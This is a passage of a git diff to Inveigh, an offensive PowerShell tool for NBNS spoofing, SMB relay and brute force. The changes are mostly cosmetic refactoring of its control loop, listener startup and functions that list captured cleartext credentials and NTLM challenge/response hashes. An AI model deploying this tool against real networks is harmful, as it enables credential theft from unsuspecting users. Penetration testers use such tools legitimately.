$NBNS_paused = $true
break NBNS_spoofer_loop
}
+
}
+
}
+
}
Start-Sleep -m 5
@@ -925,7 +994,7 @@ $control_bruteforce_scriptblock =
if($RunTime)
{
$control_timeout = new-timespan -Minutes $RunTime
- $control_stopwatch = [diagnostics.stopwatch]::StartNew()
+ $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
}
if($NBNSPause)
@@ -937,9 +1006,11 @@ $control_bruteforce_scriptblock =
{
if($RunTime)
- {
- if($control_stopwatch.elapsed -ge $control_timeout)
+ {
+
+ if($control_stopwatch.Elapsed -ge $control_timeout)
{
+
if($inveigh.HTTP_listener.IsListening)
{
$inveigh.HTTP_listener.Stop()
@@ -949,40 +1020,44 @@ $control_bruteforce_scriptblock =
if($inveigh.bruteforce_running)
{
HTTPListenerStop
- $inveigh.console_queue.add("Inveigh Brute Force exited due to run time at $(Get-Date -format 's')")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run time")])
+ $inveigh.console_queue.Add("Inveigh Brute Force exited due to run time at $(Get-Date -format 's')")
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run time")])
Start-Sleep -m 5
$inveigh.bruteforce_running = $false
}
if($inveigh.relay_running)
{
- $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")])
+ $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')")
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")])
Start-Sleep -m 5
$inveigh.relay_running = $false
}
if($inveigh.running)
{
- $inveigh.console_queue.add("Inveigh exited due to run time at $(Get-Date -format 's')")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh exited due to run time")])
+ $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')")
+ $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")])
Start-Sleep -m 5
$inveigh.running = $false
}
+
}
}
if($NBNSPause -and $inveigh.hostname_spoof)
- {
- if($inveigh.NBNS_stopwatch.elapsed -ge $NBNS_pause)
+ {
+
+ if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause)
{
$inveigh.hostname_spoof = $false
}
+
}
if($inveigh.file_output -and !$inveigh.running)
{
+
while($inveigh.log_file_queue.Count -gt 0)
{
$inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append
@@ -1006,6 +1081,7 @@ $control_bruteforce_scriptblock =
$inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append
$inveigh.cleartext_file_queue.RemoveRange(0,1)
}
+
}
Start-Sleep -m 5
@@ -1013,42 +1089,43 @@ $control_bruteforce_scriptblock =
}
# End ScriptBlocks
-# Begin Startup Functions
+# Begin Startup functions
-# HTTP Listener Startup Function
-Function HTTPListener()
+# HTTP Listener Startup function
+function HTTPListener()
{
+
if($HTTPIP)
{
- $HTTPIP = [system.net.IPAddress]::Parse($HTTPIP)
+ $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP)
$inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort)
}
else
{
- $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::any,$HTTPPort)
+ $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort)
}
$inveigh.HTTP_listener = New-Object System.Net.Sockets.TcpListener $inveigh.HTTP_endpoint
$inveigh.HTTP_listener.Start()
- $HTTP_runspace = [runspacefactory]::CreateRunspace()
+ $HTTP_runspace = [RunspaceFactory]::CreateRunspace()
$HTTP_runspace.Open()
$HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh)
- $HTTP_powershell = [powershell]::Create()
+ $HTTP_powershell = [PowerShell]::Create()
$HTTP_powershell.Runspace = $HTTP_runspace
$HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument($HTTPResponse).AddArgument(
- $MachineAccounts).AddArgument($NBNSPause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument($WPADPort).AddArgument(
+ $NBNSPause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument($WPADPort).AddArgument(
$WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null
$HTTP_powershell.BeginInvoke() > $null
}
-# Spoofer Startup Function
-Function Spoofer()
+# Spoofer Startup function
+function Spoofer()
{
- $spoofer_runspace = [runspacefactory]::CreateRunspace()
+ $spoofer_runspace = [RunspaceFactory]::CreateRunspace()
$spoofer_runspace.Open()
$spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh)
- $spoofer_powershell = [powershell]::Create()
+ $spoofer_powershell = [PowerShell]::Create()
$spoofer_powershell.Runspace = $spoofer_runspace
$spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null
@@ -1057,31 +1134,31 @@ Function Spoofer()
$spoofer_powershell.BeginInvoke() > $null
}
-# Control Brute Force Startup Function
-Function ControlBruteForceLoop()
+# Control Brute Force Startup function
+function ControlBruteForceLoop()
{
- $control_bruteforce_runspace = [runspacefactory]::CreateRunspace()
+ $control_bruteforce_runspace = [RunspaceFactory]::CreateRunspace()
$control_bruteforce_runspace.Open()
$control_bruteforce_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh)
- $control_bruteforce_powershell = [powershell]::Create()
+ $control_bruteforce_powershell = [PowerShell]::Create()
$control_bruteforce_powershell.Runspace = $control_bruteforce_runspace
$control_bruteforce_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$control_bruteforce_powershell.AddScript($control_bruteforce_scriptblock).AddArgument($NBNSPause).AddArgument($RunTime) > $null
$control_bruteforce_powershell.BeginInvoke() > $null
}
-# End Startup Functions
+# End Startup functions
# Startup Enabled Services
# HTTP Server Start
-if($HTTP -eq 'y')
+if($HTTP -eq 'Y')
{
HTTPListener
}
# Spoofer Start
-if($NBNS -eq 'y')
+if($NBNS -eq 'Y')
{
Spoofer
}
@@ -1094,72 +1171,90 @@ if($NBNSPause -or $RunTime -or $inveigh.file_output)
if($inveigh.console_output)
{
+
:console_loop while(($inveigh.bruteforce_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output))
{
+
while($inveigh.console_queue.Count -gt 0)
{
+
if($inveigh.output_stream_only)
{
- write-output($inveigh.console_queue[0] + $inveigh.newline)
+ Write-Output($inveigh.console_queue[0] + $inveigh.newline)
$inveigh.console_queue.RemoveRange(0,1)
}
else
{
+
switch -wildcard ($inveigh.console_queue[0])
{
+
"Inveigh *exited *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
"* written to *"
{
+
if($inveigh.file_output)
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
}
$inveigh.console_queue.RemoveRange(0,1)
}
+
"* for relay *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
"*SMB relay *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
"* local administrator *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
default
{
- write-output $inveigh.console_queue[0]
+ Write-Output $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
- }
- }
+
+ }
+
+ }
+
}
if($inveigh.console_input)
{
- if([console]::KeyAvailable)
+
+ if([Console]::KeyAvailable)
{
$inveigh.console_output = $false
BREAK console_loop
}
+
}
Start-Sleep -m 5
}
+
}
if($inveigh.file_output -and !$inveigh.running)
{
+
while($inveigh.log_file_queue.Count -gt 0)
{
$inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append
@@ -1183,17 +1278,19 @@ if($inveigh.file_output -and !$inveigh.running)
$inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append
$inveigh.cleartext_file_queue.RemoveRange(0,1)
}
+
}
}
#End Invoke-InveighBruteForce
-Function Stop-Inveigh
+function Stop-Inveigh
{
<#
.SYNOPSIS
Stop-Inveigh will stop all running Inveigh functions.
#>
+
if($inveigh)
{
if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running)
@@ -1208,49 +1305,52 @@ Function Stop-Inveigh
if($inveigh.bruteforce_running)
{
$inveigh.bruteforce_running = $false
- $inveigh.status_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")|Out-Null
+ Write-Output("$(Get-Date -format 's') - Attempting to stop HTTP listener")
$inveigh.HTTP_listener.server.blocking = $false
Start-Sleep -s 1
$inveigh.HTTP_listener.server.Close()
Start-Sleep -s 1
$inveigh.HTTP_listener.Stop()
- $inveigh.status_queue.add("Inveigh Brute Force exited at $(Get-Date -format 's')")|Out-Null
- $inveigh.log.add("$(Get-Date -format 's') - Inveigh Brute Force exited")|Out-Null
+ Write-Output("Inveigh Brute Force exited at $(Get-Date -format 's')")
+ $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Brute Force exited") > $null
if($inveigh.file_output)
{
- "$(Get-Date -format 's') - Inveigh Brute Force exited"| Out-File $Inveigh.log_out_file -Append
+ "$(Get-Date -format 's') - Inveigh Brute Force exited" | Out-File $Inveigh.log_out_file -Append
}
+
}
if($inveigh.relay_running)
{
$inveigh.relay_running = $false
- $inveigh.status_queue.add("Inveigh Relay exited at $(Get-Date -format 's')")|Out-Null
- $inveigh.log.add("$(Get-Date -format 's') - Inveigh Relay exited")|Out-Null
+ Write-Output("Inveigh Relay exited at $(Get-Date -format 's')")
+ $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null
if($inveigh.file_output)
{
- "$(Get-Date -format 's') - Inveigh Relay exited"| Out-File $Inveigh.log_out_file -Append
+ "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append
}
+
}
if($inveigh.running)
{
$inveigh.running = $false
- $inveigh.status_queue.add("Inveigh exited at $(Get-Date -format 's')")|Out-Null
- $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|Out-Null
+ Write-Output("Inveigh exited at $(Get-Date -format 's')")
+ $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null
if($inveigh.file_output)
{
- "$(Get-Date -format 's') - Inveigh exited"| Out-File $Inveigh.log_out_file -Append
+ "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append
}
+
}
}
else
{
- $inveigh.status_queue.add("There are no running Inveigh functions") | Out-Null
+ Write-Output("There are no running Inveigh functions")
}
if($inveigh.HTTPS)
@@ -1261,153 +1361,148 @@ Function Stop-Inveigh
{
$certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine")
$certificate_store.Open('ReadWrite')
- $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0]
+ $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0]
$certificate_store.Remove($certificate)
$certificate_store.Close()
}
catch
{
- $inveigh.status_queue.add("SSL Certificate Deletion Error - Remove Manually")|Out-Null
- $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually")|Out-Null
+ Write-Output("SSL Certificate Deletion Error - Remove Manually")
+ $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null
if($inveigh.file_output)
{
- "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"|Out-File $Inveigh.log_out_file -Append
+ "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append
}
+
}
}
$inveigh.HTTP = $false
$inveigh.HTTPS = $false
-
}
else
{
- $inveigh.status_queue.add("There are no running Inveigh functions")|Out-Null
+ Write-Output("There are no running Inveigh functions")|Out-Null
}
- if($inveigh.status_output)
- {
- while($inveigh.status_queue.Count -gt 0)
- {
- if($inveigh.output_stream_only)
- {
- write-output($inveigh.status_queue[0] + $inveigh.newline)
- $inveigh.status_queue.RemoveRange(0,1)
- }
- else
- {
- switch -wildcard ($inveigh.status_queue[0])
- {
- "Inveigh *exited *"
- {
- write-warning $inveigh.status_queue[0]
- $inveigh.status_queue.RemoveRange(0,1)
- }
- "SSL Certificate Deletion Error - Remove Manually"
- {
- write-warning $inveigh.status_queue[0]
- $inveigh.status_queue.RemoveRange(0,1)
- }
- default
- {
- write-output $inveigh.status_queue[0]
- $inveigh.status_queue.RemoveRange(0,1)
- }
- }
- }
- }
- }
}
-Function Get-Inveigh
+function Get-Inveigh
{
<#
.SYNOPSIS
- Get-Inveigh will display queued Inveigh output.
+ Get-Inveigh will display queued Inveigh console output.
#>
+
while($inveigh.console_queue.Count -gt 0)
{
+
if($inveigh.output_stream_only)
{
- write-output($inveigh.console_queue[0] + $inveigh.newline)
+ Write-Output($inveigh.console_queue[0] + $inveigh.newline)
$inveigh.console_queue.RemoveRange(0,1)
}
else
{
+
switch -wildcard ($inveigh.console_queue[0])
{
+
"Inveigh *exited *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
"* written to *"
{
+
if($inveigh.file_output)
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
}
$inveigh.console_queue.RemoveRange(0,1)
}
+
"* for relay *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
"*SMB relay *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
"* local administrator *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
default
{
- write-output $inveigh.console_queue[0]
+ Write-Output $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
}
- }
+
+ }
+
}
-}
-Function Get-InveighCleartext
-{
- <#
- .SYNOPSIS
- Get-InveighCleartext will get all captured cleartext credentials.
- #>
- $inveigh.cleartext_list
}
-Function Get-InveighNTLM
+function Get-InveighCleartext
{
<#
.SYNOPSIS
- Get-InveighNTLM will get all captured challenge/response hashes.
+ Get-InveighCleartext will get all captured cleartext credentials.
+
+ .PARAMETER Unique
+ Display only unique cleartext credentials.
#>
- $inveigh.NTLMv1_list
- $inveigh.NTLMv2_list
+
+ param
+ (
+ [parameter(Mandatory=$false)][Switch]$Unique,
+ [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter
+ )
+
+ if($Unique)
+ {
+ Write-Output $inveigh.cleartext_list | Get-Unique
+ }
+ else
+ {
+ Write-Output $inveigh.cleartext_list
+ }
+
}
-Function Get-InveighNTLMv1
+function Get-InveighNTLMv1
{
<#
.SYNOPSIS
Get-InveighNTLMv1 will get captured NTLMv1 challenge/response hashes.
-
+
.PARAMETER Unique
Display only the first captured challenge/response for each unique account.
+
+ .PARAMETER Usernames
+ Display IP addresses and usernames for captured NTLMv2 challenge response hashes.
#>
+
param
(
- [parameter(Mandatory=$false)][switch]$Unique,
- [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter
+ [parameter(Mandatory=$false)][Switch]$Unique,
+ [parameter(Mandatory=$false)][Switch]$Usernames,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if ($invalid_parameter)
@@ -1415,98 +1510,115 @@ Function Get-InveighNTLMv1
throw "$($invalid_parameter) is not a valid parameter."
}
+ if($Unique -and $Usernames)
+ {
+ throw "Cannot use -Unique with -Usernames."
+ }
+
if($Unique)
{
- $inveigh.NTLMv1_list.sort()
+ $inveigh.NTLMv1_list.Sort()
- ForEach($unique_NTLMv1 in $inveigh.NTLMv1_list)
+ foreach($unique_NTLMv1 in $inveigh.NTLMv1_list)
{
- $unique_NTLMv1_account = $unique_NTLMv1.substring(0,$unique_NTLMv1.indexof(":",($unique_NTLMv1.indexof(":")+2)))
+ $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2)))
if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last)
{
- $unique_NTLMv1
+ Write-Output $unique_NTLMv1
}
$unique_NTLMv1_account_last = $unique_NTLMv1_account
}
}
+ elseif($Usernames)
+ {
+ Write-Output $inveigh.NTLMv1_username_list
+ }
else
{
- $inveigh.NTLMv1_list
+ Write-Output $inveigh.NTLMv1_list
}
+
}
-Function Get-InveighNTLMv2
+function Get-InveighNTLMv2
{
<#
.SYNOPSIS
- Get-InveighNTLMv2 will get captured NTLMv1 challenge/response hashes.
+ Get-InveighNTLMv2 will get captured NTLMv2 challenge/response hashes.
.PARAMETER Unique
Display only the first captured challenge/response for each unique account.
+
+ .PARAMETER Usernames
+ Display IP addresses and usernames for captured NTLMv2 challenge response hashes.
#>
+
param
(
- [parameter(Mandatory=$false)][switch]$Unique,
- [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter
+ [parameter(Mandatory=$false)][Switch]$Unique,
+ [parameter(Mandatory=$false)][Switch]$Usernames,
+ [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
- if ($invalid_parameter)
+ if($invalid_parameter)
{
throw "$($invalid_parameter) is not a valid parameter."
}
+ if($Unique -and $Usernames)
+ {
+ throw "Cannot use -Unique with -Usernames."
+ }
+
if($Unique)
{
- $inveigh.NTLMv2_list.sort()
+ $inveigh.NTLMv2_list.Sort()
- ForEach($unique_NTLMv2 in $inveigh.NTLMv2_list)
+ foreach($unique_NTLMv2 in $inveigh.NTLMv2_list)
{
- $unique_NTLMv2_account = $unique_NTLMv2.substring(0,$unique_NTLMv2.indexof(":",($unique_NTLMv2.indexof(":")+2)))
+ $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2)))
if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last)
{
- $unique_NTLMv2
+ Write-Output $unique_NTLMv2
}
$unique_NTLMv2_account_last = $unique_NTLMv2_account
}
}
+ elseif($Usernames)
+ {
+ Write-Output $inveigh.NTLMv2_username_list
+ }
else
{
- $inveigh.NTLMv2_list
+ Write-Output $inveigh.NTLMv2_list
}
-}
-Function Get-InveighLog
-{
- <#
- .SYNOPSIS
- Get-InveighLog will get log.
- #>
- $inveigh.log
}
-Function Get-InveighStat
+function Get-InveighLog
{
<#
.SYNOPSIS
- Get-InveighLog will get log.
+ Get-InveighLog will get log entries.
#>
- Write-Output("Total Cleartext Captures = " + $inveigh.cleartext_list.count)
- Write-Output("Total NTLMv1 Captures = " + $inveigh.NTLMv1_list.count)
- Write-Output("Total NTLMv2 Captures = " + $inveigh.NTLMv2_list.count)
+
+ Write-Output $inveigh.log
}
-Function Watch-Inveigh
+function Watch-Inveigh
{
<#
.SYNOPSIS
Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell.
#>
+
if($inveigh.tool -ne 1)
{
+
if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running)
{
Write-Output "Press any key to stop real time console output"
@@ -1514,56 +1626,69 @@ Function Watch-Inveigh
:console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output))
{
+
while($inveigh.console_queue.Count -gt 0)
{
+
if($inveigh.output_stream_only)
{
- write-output($inveigh.console_queue[0] + $inveigh.newline)
+ Write-Output($inveigh.console_queue[0] + $inveigh.newline)
$inveigh.console_queue.RemoveRange(0,1)
}
else
{
+
switch -wildcard ($inveigh.console_queue[0])
- {
+ {
+
"Inveigh *exited *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
"* written to *"
{
+
if($inveigh.file_output)
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
}
$inveigh.console_queue.RemoveRange(0,1)
}
+
"* for relay *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
"*SMB relay *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
"* local administrator *"
{
- write-warning $inveigh.console_queue[0]
+ Write-Warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
default
{
- write-output $inveigh.console_queue[0]
+ Write-Output $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
+
}
- }
+
+ }
+
}
- if([console]::KeyAvailable)
+ if([Console]::KeyAvailable)
{
$inveigh.console_output = $false
BREAK console_loop
@@ -1571,26 +1696,31 @@ Function Watch-Inveigh
Start-Sleep -m 5
}
+
}
else
{
Write-Output "Inveigh isn't running"
}
+
}
else
{
Write-Output "Watch-Inveigh cannot be used with current external tool selection"
}
+
}
-Function Clear-Inveigh
+function Clear-Inveigh
{
<#
.SYNOPSIS
Clear-Inveigh will clear Inveigh data from memory.
#>
+
if($inveigh)
{
+
if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running)
{
Remove-Variable inveigh -scope global
@@ -1600,5 +1730,7 @@ Function Clear-Inveigh
{
Write-Output "Run Stop-Inveigh before running Clear-Inveigh"
}
+
}
-}
+
+} \ No newline at end of file